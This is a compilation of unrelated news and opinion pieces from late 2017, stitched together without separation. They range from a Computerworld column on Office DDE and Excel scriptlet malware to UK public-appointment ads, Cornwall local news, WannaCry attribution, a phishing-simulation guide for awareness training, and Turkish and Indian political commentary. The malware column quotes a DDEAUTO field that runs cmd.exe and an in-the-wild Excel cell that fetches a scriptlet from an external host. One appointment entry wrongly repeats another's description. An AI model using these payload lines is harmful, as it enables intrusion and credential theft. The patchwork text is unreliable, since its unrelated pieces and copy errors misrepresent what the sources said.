A family obituary is the version submitted by a funeral home or family. Please see the submission form for details on cost and deadlines. Family obituaries

A life story is a closer look at a person's life and involves a reporter contacting family and friends. Life stories are based on newsworthiness and consent of the family. Life stories.
The Missourians Opinion section is a public forum for the discussion of ideas. The views presented in this piece are those of the author and do not necessarily reflect the views of the Missourian or the University of Missouri. If you would like to contribute to the Opinion page with a response or an original topic of your own, visit our submission form
I, for one, thought that Office-based malware reached its zenith in the late 1990s, with the likes of Melissa. Sure, weve seen macro-based pain-in-the-neckware over the past two decades, including some macro malware that specifically attacks Macs, but by and large, Word, Excel and, to a lesser degree, PowerPoint now throw warning dialogs into the middle of just about any attack. Those with malevolent intent have moved on to greener fields.

Or have they?

Some clever researchers have found new and unexpected ways to get Word, Excel and PowerPoint documents to deliver all sorts of malware  ransomware, snoopers, even a newly discovered credential stealer that specializes in gathering usernames and passwords.

In many cases, these new uses employ methods as old as the hills. But the old warning signs dont work as well as they once did: Confronted with a challenge like the one in the screenshot, many folks, nowadays, wouldnt hesitate to click Yes.

Woody Leonhard/IDG

The power of {DDEAUTO}

Dive deep into Word and youll find a feature called fields. As best as I can tell, fields existed before macros. The idea behind a field is simple enough: You stick a field code inside a document that Word can calculate or put together in some way. Instead of showing you the field code, Word makes the calculation and presents you with the result of the calculation. For example, the field code {page} returns the current page number.

The details can get tricky: My Hackers Guide to Word for Windows contains 85 pages on field codes and their obtuse results. Mind you, that was 23 years ago.

The {DDEAUTO} field code must date back to Charles Simonyis time. Its used to instruct Word to start another application, and either put data into that app or pull data from it. For example, the field

{DDEAUTO excel c:\\xldata\\addrlist.xls r5c1:r5c9}

tells Word to start up Excel, open the file named addrlist.xls, pull the contents of row 5 columns 1 thru 9, and stick them in the Word document. The {DDEAUTO} field fires when you open the Word document (thats the AUTO part).

Before retrieving (or sending) the data, Word kicks up a warning message like the one in the preceding screenshot. If the referenced program isnt running, you get an additional message asking if its OK to start the application.

Woody Leonhard/IDG

Last October, Etienne Stalmans and Saif El-Sherei published an article for the Sensepost blog that describes a perfectly normal way of using the ancient technology. They put together this field:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }

and found that it kicks off the Windows Calculator, provided the person opening the document clicks Yes on those two warning dialogs.

[ To comment on this story, visit Computerworld's Facebook page. ]

At first, that looked fine: {DDEAUTO} was working the way it should, the way its worked since pterodactyls moonlighted as cooler fans. But then some of us started feeling uneasy. Yeah, thats the way its supposed to work  but is the potential security vulnerability worth the added benefit?

Kevin Beaumont on Twitter (@GossiTheDog) added more fuel to the flames:

Remember the Word DDE issue found by @sensepost? Copy the DDE from Word into Outlook, then email it to somebody. No attachment -> calc. As techniques go its pretty sweet as theres no attachment for AV to scan. Outlook uses Word as email editor, it spawns the DDEAUTO. Bonus side effect  if you have cmd.exe disabled in Group Policy, it executes the exe in /k parameter, before claiming it is disabled.

The situation deteriorated rapidly. Tweeter Brian in Pittsburgh (@arekfurt) laid out a timeline:

10/09: @sensepost blog post (re)discovering & validating technique

10/10: @GossiTheDog tweets about, fleshes out info on extensively

10/11: spotted in-the-wild (FIN7)

10/13: start of big surge in usage

10/19: Locky/Necurs

10/25: Fancy Bear

By Oct. 27, we raised a warning here in Computerworld. On Nov. 8, Microsoft released Security Advisory 4053440, which described the problem and offered some solutions.

On Dec. 12, as part of this months Patch Tuesday, Microsoft released updates for all versions of Word  even the out-of-support Word 2003 and Word 2007  that solved the problem by disabling {DDEAUTO} and auto-update for any linked fields, including DDE in general.

Per Security Advisory 170021 updates KB 4011575, 4011590, 4011608, 4011612, and 4011614 all contain the change, they all disable {DDEAUTO} in Word. Once youve installed the patch, there will be new registry keys available which you can change manually to re-enable {DDEAUTO}.

Excel and PowerPoint have not been similarly hobbled. They both already have manually accessible settings that disable the Auto settings (File > Options > Trust Center > Trust Center Settings > External Content).

So it appears as if the {DDEAUTO} hole is plugged, at least for now.

Excel stealthy macros

Earlier this week, Xavier Mertens published an illuminating hack on the SANS Internet Storm Center blog. Called Microsoft Office VBA Macro Obfuscation via Metadata, Mertens found a way to run macros where the bulk of the bad part is hidden inside a spreadsheets metadata.

When the macro runs  and the user has to click to allow it to run  the macro extracts the malicious code from metadata, bypassing most malware scanners. What looks like an innocuous macro with one weird call turns out to be a demon with fangs.

Very clever.

Excel scriptlets

Earlier this morning, Andy Norton at security firm Lastline, published an eye-opening analysis of an attack delivered through an Excel spreadsheet that doesnt use macros, doesnt use DDE, but does use an external link to start a scriptlet. A scriptlet is a Microsoft XML wrapper for scripting languages to register themselves as COM objects and execute.

At heart of the attack demo is a cell that looks like this:

=Package|scRiPt:http://magchris[.]ga/images/squrey.xml!

When the sheet gets opened, Excel prompts the user about updating external links and, if permission is granted, the scriptlet runs. In this case, the scriptlet kicks off a VBScript program, which does the dirty deed.

Todays announcement includes an exploit found in the wild that installs the username-and-password-stealing program Loki. Norton put the spreadsheet through Virus Total, and only a few antivirus products catch it. People hunting down the source of the infection, says Norton,

would have to track back through various logs until they found a connection to a Gabon Top Level Domain [.ga] website, offered from a free web hosting service that downloaded an executable file  _output23476823784.exe  to the victim. Provided with this information, they would instigate a further scan for the second stage payload, or hunt for known IoCs of the payload.

Its a strange new world.

Join the grumbling graybeards on the AskWoody Lounge.
Five years ago, the TaxPayers Alliance reported that in the last year, five times more Labour people were appointed to public bodies than Tories.

Since then, the figures have varied, and some Conservative members or supporters have been selected to fill important posts.

Nonetheless, it remains the case that, since it took office in 2010, our Party has punched beneath its weight when it comes to public appointments. One of the reasons seems to be that Tories simply dont apply in the same number as Labour supporters.

To help remedy this, every fortnight we put up links to some of the main public appointments vacancies, so that qualified Conservatives might be aware of the opportunities presented.

         

Competition and Markets Authority  Chair

The Competition and Markets Authority (CMA) was created in April 2014 to promote competition to benefit consumers, both within the UK and internationally, and ensure that markets operate well for consumers, businesses and the economy. The CMA has established itself domestically and internationally as the UKs primary competition and consumer body. There will be significant challenges in building on this initial success, as the CMA seeks to continue to meet its challenging target to deliver consumer benefits equivalent to ten times its costs.

Time: Approx. three days per week.

Remuneration: 140,000-160,000 per annum, plus reasonable expenses.

Closes: 03 January

         

United Kingdom Atomic Energy Authority  Non-Executive Chair

The Competition and Markets Authority (CMA) was created in April 2014 to promote competition to benefit consumers, both within the UK and internationally, and ensure that markets operate well for consumers, businesses and the economy. The CMA has established itself domestically and internationally as the UKs primary competition and consumer body. There will be significant challenges in building on this initial success, as the CMA seeks to continue to meet its challenging target to deliver consumer benefits equivalent to ten times its costs.

Time: 25 days per annum minimum.

Remuneration: 25,000 per annum.

Closes: 04 January

         

Disclosure and Barring Service  Chair

Do you want to play a leading role in safeguarding children and vulnerable groups? If so, you can do this by becoming the Chair of the Disclosure and Barring Service (DBS), which enables organisations in the public, private and voluntary sectors to make better recruitment decisions by identifying applicants who may be unsuitable for certain work involving children or vulnerable adults. The DBS is also responsible for managing and maintaining barred lists which are used to prevent unsuitable people from working in regulated activity with children and vulnerable groups.

Time: Eight days per month.

Remuneration: 110,000 pro rata.

Closes: 07 January

         

Her Majestys Inspectorate of Constabulary and Fire & Rescue Services  Inspector of Fire and Rescue Authorities in England

Inspect a number of the 43 police forces in England and Wales, and a number of 45 fire & rescue authorities in England, as determined by the Chief Inspector. This will include: monitoring inspected organisations performance; forming a professional assessment of inspected organisations performance; identifying problems and challenging inspected organisations and their governing bodies so that the public are not exposed to avoidable risk or harm and can be assured that policing and fire and rescue services are effective and efficient; preparing inspection reports to high corporate standards and presenting findings to the public; and promoting good practice.

Time: Full-time, fixed-term for five years.

Remuneration: 133,983 minimum.

Closes: 14 January

         

Social Work England  Chief Executive Officer

High quality social work can transform lives. Social workers play an absolutely critical role in society, delivering a range of vital services to vulnerable children, families and adults. Social Work England will be a new specialist regulator for social workers that has an absolute focus on protecting the health and wellbeing of those individuals who need social work support. The credibility of the regulator will depend on its ability to deliver its core regulatory functions effectively and efficiently, supporting and protecting the public from the outset.

Time: Full-time.

Remuneration: A highly attractive total reward package, including pension and a basic salary of up to 142,500 per annum.

Closes: 18 January

         

Construction Industry Training Board  Chair

The Chair and the Board will hold the Executive Team to account for the delivery of the organisations offer to the construction industry, provide inclusive and dynamic leadership to the Board of Trustees, ensuring that each trustee fulfils their duties and responsibilities for the effective governance of the organisation. The Chair will also support and, where appropriate, challenge the Chief Executive and ensure that the Board functions as a unit and works closely with the entire Executive of the organisation to achieve agreed objectives.

Time: Avg. one day per week.

Remuneration: 22,500 per annum plus expenses.

Closes: 19 January

         

Intellectual Property Office  Non-Executive Director

The Intellectual Property Office (IPO) is an international organisation which is responsible for setting the agenda and contributing to the wider economy with intellectual property rights including patents, designs, trademarks and copyright. It has a clear delivery function to operate and maintain a clear intellectual property system in the UK, encouraging innovation and helping the economy and society to benefit from knowledge and ideas. The organisation also helps people get the right type of protection for their creation or invention.

Time: Around 18 days per annum.

Remuneration: 6000 per annum plus expenses.

Closes: 31 January
CORNWALL, Ontario  The seventh annual Freezin for a Reason Zumba Carolling event took place on Friday, Dec. 15.

Lead by Christal Bowen of Zumba with Christal lead the 50 carollers through the Sunrise Acres area of Cornwall with help from volunteers like DJ Stacey McPhail and Nathan Carr, who recorded the event on Facebook Live.

Bowen said that the support they received from the community in the area was overwhelming.

One older gentlemen drove up to us and I thought he was going to ask us to turn the music down, but he said hey, you forgot my house and by the time we got to his place his wife and daughter were in the driveway dancing with us, Bowen said.

The event ran from 6 p.m. to 8 p.m. and the event collected $1,500 in cash.

The residents at Sunrise Acres were well aware that the carollers would be coming around, and while some residents could not be there, they still left donations in their mailboxes.

With 50 carollers, this year was Freezin for a Reasons best year yet and thanks to streaming the event on Facebook Live, 2, 000 people got to hear the carols and see the zumba workout as they made their way through Sunrise Acres.
CORNWALL, Ontario  After five votes, Cornwall City Council passed the water and sewer budget for 2018 on Monday, Dec. 18.

Council settled on a 6.25 percent increase after rejecting a 7.65 percent increase and three other motions the week prior.

Administration suggested the increase to keep up with the aging watermains in the city.

There is 69km of watermains that need to be replaced at a cost upwards of $40 million.

Councillor Claude McIntosh said it reminded him of an old commercial of paying more now or paying more later.

The backlog is the current number for catching up with whats outstanding, but for every year we dont take care of the backlog more infrastructure falls into need of repair and therefore ads to the backlog, said General Manager for Infrastructure John St. Marseille. Were just barely keeping up.

The motion for a 7.65 percent in the water and sewer budget failed as Councillors Maurice Dupelle, Mark MacDonald, Andre Rivette, Justin Towndale, David Murphy and Mayor Leslie OShaughnessy all voted against.

Councillor Elaine MacDonald, who was in favour of the 7.65 percent increase expressed her frustration saying that she had no problem with a difference of opinion, but would at least like an explanation.

I see no votes with no explanation, she said.

After the failed vote, Mayor OShaughnessy stepped down from the chair to advocate for an increase of 6.25 percent with $850, 000 coming from the capital projects budget to give council breathing room in 2018.

The Mayor argued that he believed that the City could apply for more grants in 2018 and vigorously pursue funding from senior levels of government.

We just accept the fact that they say no, he said.

The 6.25 percent wound up passing with unanimous support from Council, despite reservations from some councillors.

When we look at 9 percent next year we will know why we are looking at 9 percent, said Councillor Elaine MacDonald. Im willing to compromise and do something thats not good enough to do something worse and going lower.

MacDonald was referring to the belief that unless the increase this year was adequate, Council would be looking at a bigger increase in 2018 rather than a lower one.

Councillor Bernadette Clement said she respectfully rejected the Mayors proposal because in her view, it was not balanced.

The balance I see is something spread over a number of years, your concept is that we will see a spike and to me that isnt balance, she explained.

In total, the increase of 6.25 percent equals out to a roughly $5 increase on water bills.
CORNWALL, Ontario  The Stormont  Dundas  South Glengarry Conservative Association is excited to announce that incumbent Member of Parliament Guy Lauzon has received the nod to represent the Conservative Party of Canada during the next federal election to be held in the fall of 2019.

I have had the honour and privilege to carry the banner for Conservatives across our community since 2004, and am humbled as well as excited to once again spread our Partys message of responsible, common-sense governance stated Lauzon.

In preparation for the next federal election, the Conservative Party of Canada opened up nominations across the country in the ridings currently held by incumbent Members of Parliament.

We are thrilled to have Guy back as our Partys spokesperson in Stormont-Dundas-South Glengarry. His dedication, work ethic and commitment to the residents of our riding has been at the core of his overwhelming support, said Adrian Bugelli, President of the SDSG Conservative Association. With Guy representing our Party and our values, we are confident that we can return a strong Conservative voice to Ottawa.

Those interested in learning more about the local Conservatives in Stormont-Dundas-South Glengarry are encouraged to visit our website at www.sdsgconservative.ca, follow us on Facebook at facebook.com/SDSGconservative or email us at sdsgconservative@gmail.com.
Carnival Corporation today announced it is partnering with Univision Communications to develop the first OCEAN primetime series.

The show will air on Sundays at 8 p.m. ET/PT / 7 p.m. CT beginning January 7 on the Univision Network, according to a statement.

Carnival said that the show, 'La Gran Sorpresa' (The Great Surprise), will use the power of travel to reunite families as they overcome hardships created by illness, separation and other challenges.

The one-hour program is hosted by award-winning television personality Poncho de Anda.

For the series' first six episodes, de Anda will be joined by several well-known personalities, including Univision Deportes' Karina Banda; "Despierta America's" Franscisca Lachapel and Maity Interiano; and Ligia Uriarte of Univision's primetime dramedy, "Mi Marido Tiene Familia."

In its first season, the series surprises a number of families as they sail aboard ships from Carnival Cruise Line, Princess Cruises and Holland America Line.

"Based on the exceptionally positive viewing results that exceed all other travel-related shows and the increased interest in cruise vacations our shows continue to generate, we are very excited to partner with Univision on 'La Gran Sorpresa' and build on their strong connection with the Hispanic community," said John Padgett, chief experience and innovation officer for Carnival Corporation. "Showcasing the extraordinary experiences our guests enjoy while on a cruise vacation for a full hour in primetime will position us to significantly expand the awareness of and demand for cruising within a burgeoning demographic that inherently values everything cruise vacations represent  family, friends, culture and fun."

"We are thrilled to deliver the power of Univision Studios and our beloved personalities to bring 'La Gran Sorpresa' to the leading Spanish-language network in the country," said Steve Mandala, president of advertising sales and marketing, UCI. "Our partnership with Carnival Corporation and its award-winning cruise line brands will further deepen their efforts by engaging Hispanic America with stories that resonate and unite families."
As organizations embrace the cloud, whether public, private, or a hybrid, multi-cloud environment, their IT team is not only required to architect new networking platforms or infrastructures, but also figure out how to secure this new environment. Unfortunately, many of the tools these organizations currently have in place dont always scale into a cloud or virtualized environment. And even if they do, they actually result in increased complexity because they often function as separate and isolated security devices, which can severely hamper such things as unified visibility and control.

At the same time, most IT teams are suffering from the growing cybersecurity skills gap, which means that even if they have the budget, they dont have the technical skills or resources needed to properly manage these new environments, let alone integrate them into their existing security architecture.

Managed security services providers, or MSSPs, play an essential role in providing advanced security and compliance services to organizations undergoing digital transformation. Their ability to apply security solutions, establish consistent policies, and enable a single management view into the extended network fills a critical gap in many IT organizations.

Security7 Networks is an MSSP focused on delivering security and compliance services to small- and medium-sized enterprises. The company, focusing on intelligence in depth, provides an innovative suite of products to help customers identify risk, improve their ability to defend against cyberthreats, and centralize visibility and control. For several years, Security7 has used Fortinet products to deliver cloud-based security services to its customers.

We recently talked with Security7s chief technology officer, Brian Thomas, about his companys business model and the critical security elements Fortinet delivered as it migrated its security services to the cloud.

Security7 moved away offering traditional, on-premise managed network and security services in recent years. Why?

Thomas: Over the last several years, we have seen a substantial shift in the way attacks happen, with a huge increase in the sophistication and diversity of threats.

As use of the cloud gained momentum, it was clear that continuing to rely on conventional on-premise measures for protection would not be sufficient. We saw the opportunity to create a more intelligent, cloud-based, distributed strategy that would alleviate vulnerabilities for our clients.

What Fortinet products do you use to help deliver your services?

Thomas: The FortiAnalyzer VM was a key element of our evolving cloud-based model. The virtual appliance works in both the Amazon Web Services and Microsoft Azure environments. It aggregates log data from both Fortinet appliances and other syslog-compatible devices.

Our staff can filter the customized reports from the appliance to review traffic, events, virus attacks, web content, and email data. By mining this information, we can determine the best security stance for each of our customers and also help them assure regulatory compliance.

Security7 also uses Fortinet FortiGate next-generation firewalls in its data center to deliver high-performance and multilayered security to our clients. We also use FortiGates for internal segmentation and perimeter defenses. The FortiAnalyzer VM provides us with highly granular visibility across all of the FortiGates we have deployed

What are some benefits for you in moving to the cloud?

Thomas: One big advantage is that the time it takes to onboard customers has been greatly reduced. Were looking at tremendous improvements in terms of efficiencies that we have gained.

FortiAnalyzer VM helps make the customer onboarding process more efficient. Its ease-of-use and intuitive interface make it very straightforward to bring new team members online and for them to be immediately productive.

Do you also see an advantage in terms of managing your infrastructure?

Thomas: The cloud environment delivers greater peace-of-mind. Not having to worry about a large physical infrastructure is a huge boon to our business, and leveraging security-as-a-service and Fortinet cloud-based technologies have been a huge deal for us. Our cloud-based approach allows us to focus on adding value to the business.

What are some benefits to your customers?

Thomas: The cloud allows us to offer a leased security-as-a-service model that provides our clients with highly predictable expenses. With a physical on-premise infrastructure, they were tied to a protracted time-to-value investment.

For Security7, delivering a cloud solution has enabled us to operate our own business much more efficiently in terms of applying a straight operating expense model to everything. We can now offer our solutions on a monthly or annual basis. We like to make the fees predictable and easy to calculate so a customer knows the exact cost of adding new resources and capabilities.

Fortinet has been a long-time staple for Security7. Fortinets strong portfolio of integrated on-premise and cloud-based solutions enables us to offer seamless protection to our clients.
Ive written before about the non-existence of RFID credit card crime, a least as promoted by all the vendors selling anti-RFID shielding products. Im one of the few voices consistently saying that buying RFID-blocking wallets, sleeves and the like is a waste of time and money. Ive frequently said that I cant find a single documented case of RFID credit card crime. Each time I write about this, I get tons of angry email from vendors of these products as well as people who just know that they have been victims of RFID credit card crime.

The victims who write me always talk about a mysterious man, acting strangely, who walked by with a visible device, which they strongly believed to be an RFID reader, and shortly thereafter their credit card has a fraudulent charge on it. I always reply that a feeling that RFID fraud happened isnt evidence of an actual crime, and that I still, after years of searching, havent found a single law enforcement authority or document showing evidence of RFID credit card crime.

The latest batch of emails contained two better proofs of RFID crime that I hadnt addressed before.

RFID car crime evidence

Proof number one was a video of thieves stealing a Mercedes-Benz. Although the video doesnt show any evidence of the theft or how it happened, the accompanying or referenced news stories do claim the car was stolen wirelessly. Many Mercedes-Benz models use RFID wireless technology, which theoretically could be used to steal the car.
On Monday evening, the Trump administration blamed North Korea for the WannaCry ransomware attacks back in May.

Homeland security advisor, Thomas P. Bossert, published the administration's conclusions in an Op-Ed for the Wall Street Journal. Those remarks follow similar claims made by the National Security Agency in June, and by the British government in October.

"after careful investigation, the U.S. today publicly attributes the massive WannaCry cyberattack to North Korea," Bossert wrote in the Wall Street Journal.

"The consequences and repercussions of WannaCry were beyond economic. The malicious software hit computers in the U.K.s health-care sector particularly hard, compromising systems that perform critical work. These disruptions put lives at risk."

The attacks started on May 12. When all was said and done, WannaCry impacted more than 230,000 computers across 150 countries.

Moving away from the political ramifications of WannaCry, the nasty truth exposed is that such an attack could've been prevented. However, because some organizations are or were forbidden at the time from making changes to equipment (retail / medical), or failed to properly address potential issues due to oversight or usage of legacy systems (large enterprise), the necessary patches were missing or unavailable.

As previously reported on Salted Hash, WannaCry targeted a vulnerability in the SMB protocol, and leveraged an exploit stolen from the NSA (ETERNALBLUE) to do so. In addition, WannaCry also installed another NSA tool, Double Pulsar, leaving infected systems open to remote attack.

To give a brief example of its reach, WannaCry found its way on to systems at the National Health Service (UK), Nissan (UK), Telefonica (Spain), FedEX (US), Russia Interior Ministry, radiology equipment across the US, and ATMs across China.

As luck would have it, a researcher (MalwareTech) discovered the hard-coded domain that prevents WannaCry from spreading. This essentially killed WannaCry within 24-hours, but victims started paying the ransom demands ($300 - $600 BTC). Those that paid, never got their files back.

The money sat in three Bitcoin wallets until August, when the funds were transferred out. At current exchange rates, the total ransom paid by WannaCry victims is worth about $946,000 USD.

"Stopping malicious behavior like this starts with accountability. It also requires governments and businesses to cooperate to mitigate cyber risk and increase the cost to hackers. The U.S. must lead this effort, rallying allies and responsible tech companies throughout the free world to increase the security and resilience of the internet," Bossert wrote.

For additional details on WannaCry, Amanda Rousseau (Malware Unicorn) published a thorough write-up on the technical aspects. Also, various people contributed to a fact sheet on GitHub.

Update: A Homeland Security briefing on WannaCry is available on C-Span.
Last month, I talked about minimizing phishing attacks. Now, I am going to talk about some sample phishing scenarios that you can use to help increase awareness and alertness within your organization. These are based around events that occur in the United States, so you may need to refocus if these timelines or events are not applicable to your geographic location. I like to refer to these as Phishing Flavors of the Month

1. January: W-2 forms

By law, employers must mail IRS Form W-2 to employees for the previous calendar year by January 31. Attaching a malicious Word or PDF document to an email claiming to be a W-2 (especially early in the month) or sending them to a site to download such a file can net a high click rate. The document-based method hinges on how you send the email (internally or externally) and if you have email filtering. Your malware protection may also block this method, so carefully test it before deployment. If you decide to use a link, you can double down and attempt to capture credentials in addition to deploying a payload.

2. February: Who is YOUR Secret Admirer

Valentines Day, the holiday of love is February 14. It is not uncommon for people to admit their interest in people on or around this date. People will also send gifts and other flattery as a secret admirer. In this ruse, victims receive an email advising them that they have a secret admirer then direct them to a page that prompts them to either enter their existing credentials or create an account. In creating an account, we can assume that they reuse passwords and we can also solicit them for password reset questions. Cautionary note: This specific scenario will not work everywhere. This specific scenario may be inappropriate for your organization. Ensure you get buy-in from Human Resources (HR) before attempting this scenario.

3. April: US Tax Deadline

April 15 is a fearful date for many Americans due to it being the deadline for filing annual income taxes. A simple email stating something to the tune of Your tax filing has been rejected or We still have not received your tax filing may yield good responses. Be cautious to not impersonate the IRS, that is against the law. It may be better to pose as a tax preparer, CPA, or your HR document provider. Once you have the details of who youre going to be, determine what you want to collect and how youll protect it. Since youre not posing as the company, people will expect to enter the Social Security Numbers. You have an ethical obligation to protect any PII that you collect and store, including SSNs. I recommend asking for the last 4 of a social, but not storing it, only collect whether they enter anything.

4. November: Free Turkey

Who doesnt love free stuff? Exactly. Many companies give away free turkey or ham in the holiday season. You can pose as the company and require employees to login to the company portal to get the voucher (potentially infecting the voucher with a Microsoft Office macro) to receive the porcine or poultry delicacy. Another route to go is to claim that it is from Oprah. She is known for giving things away. In any instance, get this one out around the middle of the month up until the Monday before Thanksgiving.

5. November through January: Insurance Open Enrollment

The period between November and January is typically when companies do open enrollment for the next years insurance plan. Capitalizing off this can yield impressive results. Knowing who the insurance carrier is and if you use an HRIS like ADP or UltiPro will work to your advantage. You can prompt the employee to login using their email address and Active Directory password. If you use multi factor authentication, you can even ask for the one-time code, but not use it. You can also take this numerous directions, but heed the advice that I provided for April with regards to collecting and storing PII.

Conclusion

There are numerous factors that play into how well a phish will work. While we know that training and technical controls have varying levels of influence that are often dependent upon organization maturity, implementation of tools, and configuration of tools, what is happening in the world around us is just as important. An attacker may use a typo squatted Amazon or Delta ruse. They may use a UPS, FedEx, or Postal Service ploy. They all vary. The more lifelike the campaigns are, the more value youll get out of them.
The House  and possibly the Senate  is expected today to vote on the agreed-upon tax reform legislation released Friday by House-Senate conference leaders. The credit union tax exemption, thanks to consistent advocacy by NAFCU and its members, is untouched in the final language.

NAFCU President and CEO Dan Berger and other members of NAFCUs legislative affairs team have been actively engaged on Capitol Hill and with the White House to ensure the credit union tax exemption was left alone. In August, the association met with Treasury Secretary Steven Mnuchin to discuss tax reform efforts, and Berger was invited on FOX Business to explain the importance of the exemption. The association has held numerous meetings with senators, representatives and administration officials throughout the year.

Last month, NAFCU launched a grassroots effort calling on member credit unions to defend the industrys tax-exempt status at the local level as some in the banking industry called for its elimination.
Mick Mulvaney is the properly appointed interim director of the CFPB, Justice Department attorneys argued Monday.

In documents filed in U.S. District Court for the District of Columbia, the attorneys asked U.S. District Judge Timothy Kelly to reject the argument of agency Deputy Director Leandra English that she should be running the agency.

Mulvaney, the director of the Office of Management and Budget, was President Trumps choice to run the CFPB after Director Richard Cordray resigned. Cordray had tried to install English as acting director before he resignedciting a section of Dodd-Frank that says the deputy serves when the director is absent or unavailable.

English filed suit in an effort to block Mulvaney from taking control of the CFPB.
Nancy Pelosi's legacy: From passing Obamacare to impeaching Trump

Congressional scholars and modern politicians rate Speaker Nancy Pelosi as one of the most consequential legislative leaders in U.S. and House history.
Turkish-Iranian gold trader Reza Zarrab, who was arrested last year in Miami on charges of violating US sanctions against Iran, bank fraud and money laundering, is now cooperating with US federal prosecutors and has dropped a bombshell by making allegations against Turkish officials, including President Recep Tayyip Erdogan.

Among other confessions, the 34-year-old admitted to paying over $50 million in bribe to erstwhile economy minister Zafer Caglayan and claimed that Erdogan had personally instructed two Turkish banks to facilitate his multi-billion sanctions busting scheme. This testimony has far-reaching implications and has thus sent tremors through Turkish political circles.

The Turkish government has responded by saying that the ongoing prosecution in the United States is influenced by the reclusive US-based Turkish Islamic scholar Fethullah Gulen  a claim dismissed by the judge sitting over the trial, Richard Berman, as an illogical foreign conspiracy theory.

Erdogan regime went the extra mile in freeing Zarrab when he was arrested in Turkey in late 2013 on partly similar charges. The officers leading investigation against him were initially dismissed or transferred and now have been either put behind bars or forced to leave the country.

Image: Reuters photo

Even after the arrest of Zarrab in the United States in 2016, the Erdogan regime left no stone unturned to set him free. Besides exerting diplomatic pressure on both Obama and Trump administrations, they held American citizens as hostage in Turkey and secretly offered a deal whereby the Americans would be released in exchange for Zarrab. As they failed to achieve the desired outcome, they are now absurdly accusing the US judiciary of being under the influence of Fethullah Gulen.

The Turkish government is clearly nervous as to where this trial is heading and who else will be subjected to legal action by the US judiciary. Their anxiety has increased significantly also because a former Turkish top cop, Huseyin Korkmaz, who was briefly arrested for initiating a probe against Zarrab in Turkey testified during the trial that the police in Istanbul referred to Erdogan as number one as they investigated Zarrab and his partners.

Such hard-hitting revelations are surely heralding tough days for Erdogan whose relations with the West is already strained due to increasing authoritarianism at home and support to radical terrorist groups in West Asia. But regardless of what comes their way in the future, the brunt of their frustration and anger at these developments right now is highly likely to be faced by tens of thousands of innocent citizens who have been incarcerated in Turkey for their alleged Gulen link, without a shred of evidence of any wrongdoings.

In a column published in staunchly pro-government Turkish language newspaper Yeni Safak, a former senior advisor to president Erdogan and a ruling Justice and Development Party (AKP) MP, Aydn Unal, wrote:

"There are more than 250,000 brainless FETO members [a derogatory term coined by the Erdogan regime for Gulen Movement] who did not or could not flee, and their almost one million family members in Turkey. The Zarrab case will naturally make the lives of FETO members even more difficult."

A week later on December 4, in another op-ed for the same newspaper, Unal threatened Turkish journalists covering the Manhattan trial with extrajudicial killings.

During a live TV show, Cem Kucuk, an infamous Erdoganist motor-mouth, urged authorities to use waterboarding and other techniques of torture on those in prison for alleged Gulen link. He also exhorted the countrys intelligence agency to kill some of their family members in order to turn them into operatives for the Erdogan regime.

Given instances of torture in prisons and government abetted abduction of many citizens in broad daylight over the past one year, such threats coming from figures close to the countrys president only reinforces the view that the Turkish government is not shy of employing mafia tactics in order to supress dissenting voices in Turkey and abroad.
Garga Chatterjee in his article titled "Indian Army's Misleading Tweet About 1971 War Adds to a Culture of Jingoistic Misinformation, Puts Bangladesh Government in a Tight Spot", presents a lopsided view of the 1971 war victory. The article, published in Firstpost on December 17, is based on a few tweets - that were subsequently removed - from the Indian Army's public information department's (ADGPI) Twitter handle and incorrect information. The author clearly lacks knowledge of military operations.

A few facts about the war need to be clarified for the information of Garga. The war was fought jointly by the Indian armed forces and the Mukti Jodhas (Bangladeh's freedom fighters). The overall control remained with the Eastern Command of the Indian Army. The Multi Jodhas were not an independent force operating on their own but were recruited, trained and equipped by Indian forces. Most former Mukti Jodha members, who attend Vijay Diwas celebrations in Kolkata, fondly remember Indian Army officers, who trained them. There is immense mutual respect among the soldiers who fought together.

Garga has distorted facts and even failed to read the account given by Lt Gen JFR Jacob, the man sent by India to Dacca, to have the surrender negotiated and signed. Garga also has no inkling of inputs from Mukti Jodhas, hence makes irresponsible comments in his article on the surrender ceremony. The final surrender document was signed by Lt Gen AAK Niazi, the commander of the Pakistan Army in erstwhile East Pakistan, and Lt Gen JS Aurora, the eastern Army commander.

The surrender happened before the Indian Army and in full public view at the Dacca Race Course. Niazi handed over his epaulette and revolver to Aurora and his troops followed across Bangladesh surrendering to the nearest Indian Army post. The reason for surrender to the Indian Army was to ensure the safety and security of the Pakistan forces. Also, Pakistan had to surrender to a legal military force, not irregular troops comprising Mukti Jodhas. Members of the Mukti Jodha were also present in Dacca when the surrender ceremony took place and wanted to hang Niazi and his soldiers, which was prevented because they were being provided protection by the Indian Army.

Another reality missed by Garga is that Niazi agreed to surrender on the ground that he and his forces are ensured protection by Indian forces. Hence, they were immediately moved to prisoner war camps in India. The wording of the surrender document mentioning joint forces had a political reason. India wanted to prove to the world that it was acting in support of the Mukti Jodhas and was not the aggressor. Jacob mentions in his interviews that independent Mukti Jodha operations ceased on November 30, 1971, while the war commenced on December 3.

There is no doubt that Mukti Jodhas played an important role in the war. They were locals with immense knowledge of the terrain and hence could guide advancing Indian forces and also provide other crucial and relevant information. All major assaults were launched by the Indian Army. Ambushes and covert operations to destroy communication centres were the responsibility of the Mukti Jodhas, thus clearly joint operations, under the command of Indian forces.

Garga also has no knowledge of how military operations were conducted during the 1971 War nor has he bothered to understand the basics of warfare. All forces operating in a war, fight under one commander and not independently. The commander responsible for operations in one sector sub-allocates resources to subordinate commanders for carrying out targeted missions. Thus, Mukti Jodha units were functioning under the command of subordinate formations that fell directly under the Eastern Command.

Driven by his possible dislike for the Indian Army, Garga went on to say that Indian forces alone never defeated the Pakistan Army but jointly with the Mukti Jodhas. The Mukti Jodhas fought under the command of the Indian Army, not as an independent force, hence it was the Indian armed forces, of which the Mukti Jodhas was a part, which won the war. The Mukti Jodhas were only involved on the eastern front, whereas the Indian armed forces fought on both fronts.

Bangladesh is well aware of the facts of the involvement of the Indian Army, and does not require Garga's "Hindu vs Muslim" narrative on the war.

Mukti Jodha soldiers only saw the Indian intervention as support from a neighbouring country to save them from the genocide being carried out by Pakistan. They never viewed it from a religious angle.

Soldiers respect fellow soldiers, without taking into account their religion, when they fight alongside. Therefore, Vijay Diwas is an occasion to celebrate victory, obtained through immense sacrifices made by the Indian Army and members of Mukti Jodha fighting a common enemy. Veterans on both sides meet warmly and bond as soldiers, which armchair critics would never be able to understand.

